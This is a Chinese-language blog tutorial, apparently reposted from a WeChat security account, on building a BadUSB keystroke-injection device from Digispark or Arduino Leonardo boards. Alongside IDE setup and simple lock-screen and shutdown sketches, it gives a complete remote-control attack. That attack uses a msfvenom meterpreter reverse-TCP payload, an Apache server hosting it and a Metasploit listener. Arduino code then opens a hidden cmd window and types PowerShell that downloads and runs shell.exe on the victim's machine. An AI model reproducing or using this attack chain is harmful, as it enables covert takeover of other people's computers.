Badusb初级制作

admin 2022年5月12日00:54:21评论506 views字数 4823阅读16分4秒阅读模式

Badusb

初级制作



事前了解和准备


什么是badusb?

BadUSB是一种通过重写U盘固件伪装成USB输入设备(键盘,网卡)用于恶意用途的usb设备。



攻击原理

HID(Human Interface Device,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。



如何制作一个badusb?

需要准备的材料

Badusb初级制作


digispark 开发板

(淘宝9块钱一个)



Badusb初级制作


Arduino Leonardo

(淘宝26块钱一个)



或者树莓派 zero w(无线版本)(本次未尝试该版本)


需要的软件

  a)Arduino IDE(烧录软件)

  b)Digispark (驱动程序)

  c)Automator(编程)


软件下载地址及说明

a)Arduino IDE(烧录软件)

https://www.arduino.cc/en/main/software (这个是arduino 官网,有所有的软件版本,最新版是1.8.12,下载1.6.6之后版本的软件需要手动安装驱动,后续会说明。)

https://downloads.arduino.cc/arduino-1.6.5-r5-windows.exe (这个是1.6.5版本,可以直接安装驱动。)

b)Digispark (驱动程序)

https://github.com/digistump/DigistumpArduino

c)Automator(编程)

https://github.com/Catboy96/Automator



环境配置

1.6.5版本Arduino IDE环境配置


1

Arduino IDE安装完成后,需要先安装驱动,打开文件-首选项

Badusb初级制作

2

把这个网址添加到附加开发板管理网址: https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json

Badusb初级制作

3

打开工具,开发板管理

Badusb初级制作

4

下载disispark开发板

Badusb初级制作

备注:1.6.6以下的版本会直接安装驱动。


1.6.6以上版本Arduino IDE环境配置


1

在github上下载软件包,将解压后的安装包复制到arduino/haedware目录下

Badusb初级制作

2

ArduinohardwareDigistumpArduinotoolsmicronucleus-2.0a4目录中找到驱动安装程序。

Badusb初级制作

3

配置arduino IDE读取路径

打开ArduinohardwareDigistumpArduino

digistump-avr下的platform文件,将tools.micronucleus.cmd.path=后路径修改为驱动包下launcher的路径C:/Program Files (x86)/Arduino/hardware/DigistumpArduino/tools/micronucleus-2.0a4/launcher

Badusb初级制作

验证能否正常使用


Badusb初级制作

能否正常编译

打开工具选择开发板选项在里面找到 Digispark ATtiny(Defauit --16.5)确认。在选择文件选择示例中找到 Digispark Keyboars 之后选择 keyborad,点击验证。

Badusb初级制作

Badusb初级制作

能否正常烧录

Badusb初级制作

出现Plug in device now... (will timeout in 60 seconds)说明能够正常使用,可以开始输入自己想要的代码。


digispark制作

按照前面的配置将恶意代码烧录到digispark中即可

锁屏代码

#include "DigiKeyboard.h"

void setup() {//初始化

}

void loop()//循环

  DigiKeyboard.delay(200);//延迟0.2秒 

  DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT);//Win+R

}


Arduino Leonardo制作

Arduino Leonardo制作的流程大体上和digispark是一样的,但是需要稍微修改一些配置。

1. 开发板需要修改为Arduino Leonardo

2. 烧录时需要选择对应的端口

关机代码

#include <Keyboard.h>

void setup() {

Keyboard.begin();

delay(3000);

Keyboard.press(KEY_LEFT_GUI);

delay(500);

Keyboard.press('r');

delay(500);

Keyboard.release(KEY_LEFT_GUI);

Keyboard.release('r');

delay(500);

Keyboard.println("SHUTDOWN -S -F -T 0");

delay(5000);

Keyboard.press(KEY_RETURN);

Keyboard.release(KEY_RETURN);

Keyboard.end();

}

Badusb初级制作

备注:digispark制作时可以通过Automator辅助编写代码



正式制作badusb(远控)

1



远控木马制作

在kali上利用msf生成木马,输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘x00’ lhost=kali的IP lport=你想监听的端口 -f exe > /root/shell.exe

Badusb初级制作

2



启动Apache2

为了能够使受害者能够从服务器上下载shell.exe,需要启动Apache2,并将shell.exe复制到/var/www/html

server apache2 start

Badusb初级制作

cp shell.exe /var/www/html/

Badusb初级制作

3



启动arduino IDE

将代码烧录到Arduino Leonardo(文末附代码)

Badusb初级制作

4



开启监听

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost kali的IP

set lport 777(制作木马时的端口)

Badusb初级制作

5



插入badusb

受害者插入badusb后就能实现远控

Badusb初级制作


附:arduino IDE代码



#include

void setup() {

// put your setup code here, to run once:

Keyboard.begin();//开始键盘通讯

delay(1000);//延时

Keyboard.press(KEY_LEFT_GUI);//win键

delay(200);

Keyboard.press('r');//r键

delay(300);

Keyboard.release(KEY_LEFT_GUI);//释放win 键

Keyboard.release('r');//释放R键

Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1""); //使用最小化隐藏cmd窗口

delay(200);

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("powershell ");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("$clnt = new-object System.Net.WebClient; ");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("$url= 'http://192.168.80.38/shell.exe'; ");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("$file = ' E:\server.exe'; ");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("$clnt.DownloadFile($url,$file); ");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("START E:\server.exe ");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("exit");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.println("exit");

Keyboard.press(KEY_RETURN);//按下回车键

delay(200);

Keyboard.release(KEY_RETURN);//按下回车键

delay(500);

Keyboard.end();//结束键盘通讯

}


void loop() {

// put your main code here, to run repeatedly:


}


参考资料:

【1】https://blog.csdn.net/qq_37964989/article/details/102580623?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

【2】https://blog.csdn.net/qq_26091745/article/details/98092211?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

【3】https://blog.csdn.net/kclax/article/details/90722080


声明

本公众号发表的原创文章,作为技术分享使用,均基于作者的主观判断,代表个人理解,并不保证一定正确,仅供大家参考。

Forest Team拥有该文章的修改和解释权。如欲引用、转载或传播此文章,必须包括版权声明等全部内容。未经Forest Team允许,不得任意修改或删减文章内容,不得以任何方式将其用于商业目的。


团队

歼剿漏洞风险,刻录安全密码。


Forest team 安全团队每月分享高质优量的原创技术干货,知识共享安全共创,关注我们,共同夯固网络之舰。



Badusb初级制作



微信号 : ForestTeam



原文始发于微信公众号(Th0r安全):Badusb初级制作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月12日00:54:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Badusb初级制作http://cn-sec.com/archives/999585.html

发表评论

匿名网友 填写信息